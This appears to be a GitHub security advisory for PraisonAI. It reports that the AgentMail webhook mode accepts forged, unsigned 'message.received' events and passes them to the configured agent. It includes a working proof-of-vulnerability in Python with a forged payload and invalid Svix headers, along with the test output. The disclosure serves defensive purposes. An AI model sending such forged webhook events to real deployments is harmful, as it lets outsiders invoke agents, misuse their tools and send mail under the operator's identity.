GitHub Advisoryadvisory · PyPI
GHSA-7c92-x8vg-4258 PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents
HIGH
Official page ↗
- Aliases
- CVE-2026-61436
- Ecosystem
- PyPI
- Packages
- praisonai
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
- Weaknesses
- CWE-287, CWE-306, CWE-347
- Reviewed
- 2026-10-07
Affected packages
• PyPI praisonai: < 4.6.78 → fixed in 4.6.78
Description
AgentMail webhook mode accepts forged unsigned message.received events and invokes agents
Summary
`praisonai` AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled `message.received` JSON without verifying AgentMail's Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path.
Technical Details
The affected boundary is webhook authenticity. AgentMail's webhook verification documentation says AgentMail delivers webhooks through Svix and includes `svix-id`, `svix-timestamp`, and `svix-signature` headers. Receivers are expected to verify the raw request body with the endpoint signing secret, commonly stored as `AGENTMAIL_WEBHOOK_SECRET`, before trusting the event body. AgentMail's documented verified payload examples route on `event_type`; the forged payload below intentionally uses PraisonAI's accepted handler shape, `type` plus `data`, because that is the shape `_handle_email_webhook()` accepts before any signature verification.
`src/praisonai/praisonai/bots/agentmail.py` exposes webhook mode through `AgentMailBot(mode=...)` or a `BotConfig` whose `mode` is `webhook`. In `_start_webhook_mode()`, PraisonAI registers `POST {webhook_path}` and binds the aiohttp site to `0.0.0.0` on the configured webhook port. When `config.webhook_url` is set, the same method calls `client.webhooks.create(url=..., event_types=["message.received"], inbox_ids=...)`, but it does not store or use the returned webhook secret.
The handler then trusts the parsed JSON body. `_handle_email_webhook()` calls `await request.json()`, reads `body.get("type", "")`, and if the value is `message.received`, schedules `_process_webhook_payload(body)` and returns `200 OK`. It does not read the raw body, inspect request headers, verify `svix-id`, verify `svix-timestamp`, verify `svix-signature`, or check any webhook secret before scheduling the event.
`_process_webhook_payload()` builds a `BotMessage` from attacker-controlled JSON fields: `data.message_id`, `data.from`/`data.from_`, `data.subject`, `data.extracted_text`/`data.text`, `data.thread_id`, and `data.in_reply_to`. It then calls `_handle_message(message)`. `_handle_message()` fires message hooks, calls `self._session.chat(self._agent, sender_id, body, ...)`, and, when the agent returns a response, attempts to reply to the attacker-controlled sender address through AgentMail.
This report is scoped to AgentMail webhook mode. It does not claim that the default polling path or WebSocket path is affected. The WebSocket path receives typed `MessageReceivedEvent` instances from the AgentMail SDK connection; the webhook path exposes a public HTTP receiver and therefore needs an independent signature check before parsing/trusting the event.
PoV
the PoV calls the webhook handler directly with fake request objects. It does not bind a port, contact AgentMail, send email, or use live credentials.
The forged JSON uses PraisonAI's accepted webhook-handler shape: a top-level `type` field with value `message.received` and a nested `data` object. This is not presented as the canonical signed AgentMail payload shape; AgentMail's verification documentation shows verified messages using `event_type` after Svix verification. The issue is that PraisonAI accepts the unauthenticated `type`/`data` body and dispatches it before verifying that the request came from AgentMail.
Essential PoV excerpt:
```python
class FakeRequest:
def __init__(self, body, headers=None, json_error=False):
self._body = body
self.headers = headers or {}
self._json_error = json_error
async def json(self):
if self._json_error:
raise ValueError("invalid json")
return self._body
bot = AgentMailBot(
token="am_local_test",
agent=object(),
inbox_id="[email protected]",
config=BotConfig(mode="webhook", webhook_path="/webhook"),
)
bot._inbox_id = "[email protected]"
bot._email_address = "[email protected]"
bot._config = {}
bot._session = RecordingSession()
payload = {
"type": "message.received",
"data": {
"message_id": "msg-forged-invalid-svix",
"from": "[email protected]",
"subject": "Forged invalid signature",
"extracted_text": "invalid signature forged body",
},
}
headers = {
"svix-id": "msg_bad",
"svix-timestamp": "1",
"svix-signature": "v1,definitely-invalid",
}
response = await bot._handle_email_webhook(FakeRequest(payload, headers=headers))
await asyncio.sleep(0)
```
Expected vulnerable behavior: the response status is `200`, the invalid Svix signature is ignored, and the fake session records one agent call with `sender_id` set to `[email protected]` and `body` set to `invalid signature forged body`.
PoC
Current head tested:
```text
846568c7a5d8ce9e71e56e4c213f027c04909753
```
Run against a local checkout of current head:
```fish
python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI --label current-head-846568c
```
Decisive current-head output:
```json
{
"label": "current-head-846568c",
"vulnerable": true,
"cases": {
"forged_unsigned_message": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"forged_invalid_svix_signature": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"invalid_json_control": {
"http_status": 400,
"session_delta": 0
},
"non_message_event_control": {
"http_status": 200,
"session_delta": 0
},
"duplicate_message_control": {
"http_status": 200,
"session_delta": 0
}
}
}
```
Run against the latest release tag observed during testing:
```fish
python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47
```
Decisive `v4.6.62` output:
```json
{
"label": "v4.6.62-2a855c47",
"vulnerable": true,
"cases": {
"forged_unsigned_message": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"forged_invalid_svix_signature": {
"http_status": 200,
"session_delta": 1,
"send_delta": 1
},
"invalid_json_control": {
"http_status": 400,
"session_delta": 0
},
"non_message_event_control": {
"http_status": 200,
"session_delta": 0
},
"duplicate_message_control": {
"http_status": 200,
"session_delta": 0
}
}
}
```
Interpretation: forged unsigned webhook JSON and forged webhook JSON with invalid Svix headers both return `200` and reach the agent session once. Invalid JSON returns `400` without an agent call, non-`message.received` events are ignored, and repeated `message_id` values are deduplicated. The controls prove the handler is executing the intended branch and that the issue is specifically missing webhook authenticity verification before the agent dispatch branch.
Impact
If a PraisonAI operator exposes AgentMail webhook mode, any network caller who can reach the webhook URL can spoof incoming AgentMail email events and invoke the configured PraisonAI agent as an arbitrary sender. The attacker controls the message id, sender address, subject, body text, and thread metadata consumed by the bot.
The concrete boundary crossed is unauthenticated remote agent invocation through forged AgentMail webhook events. Downstream impact depends on the deployed agent and tools. PraisonAI bot defaults can include model calls and safe auto-approved tools, so this can cause unauthorized model/API usage, forged workflow input, replies under the AgentMail inbox identity, and confidentiality or integrity impact when the configured agent has access to sensitive context or tools.
This report does not claim arbitrary code execution by default, compromise of AgentMail itself, or bypass of the default poll mode.
Suggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L` (8.6). Suggested …
Related
Alias · CVE (1)
- CVE-2026-61436 PraisonAI before 4.6.78 fails to verify Svix webhook signatures in AgentMail webhook mode, allowing unauthenticated attackers to forge… vulnerability
References
- https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7c92-x8vg-4258 web
- https://nvd.nist.gov/vuln/detail/CVE-2026-61436 advisory
- https://nvd.nist.gov/vuln/detail/CVE-2026-62172 advisory
- https://github.com/MervinPraison/PraisonAI/commit/2a855c470077c7d2e2479a575f7ef7f548d51c33 web
- https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753 web
- https://github.com/MervinPraison/PraisonAI package
- https://www.vulncheck.com/advisories/praisonai-before-missing-webhook-signature-verification web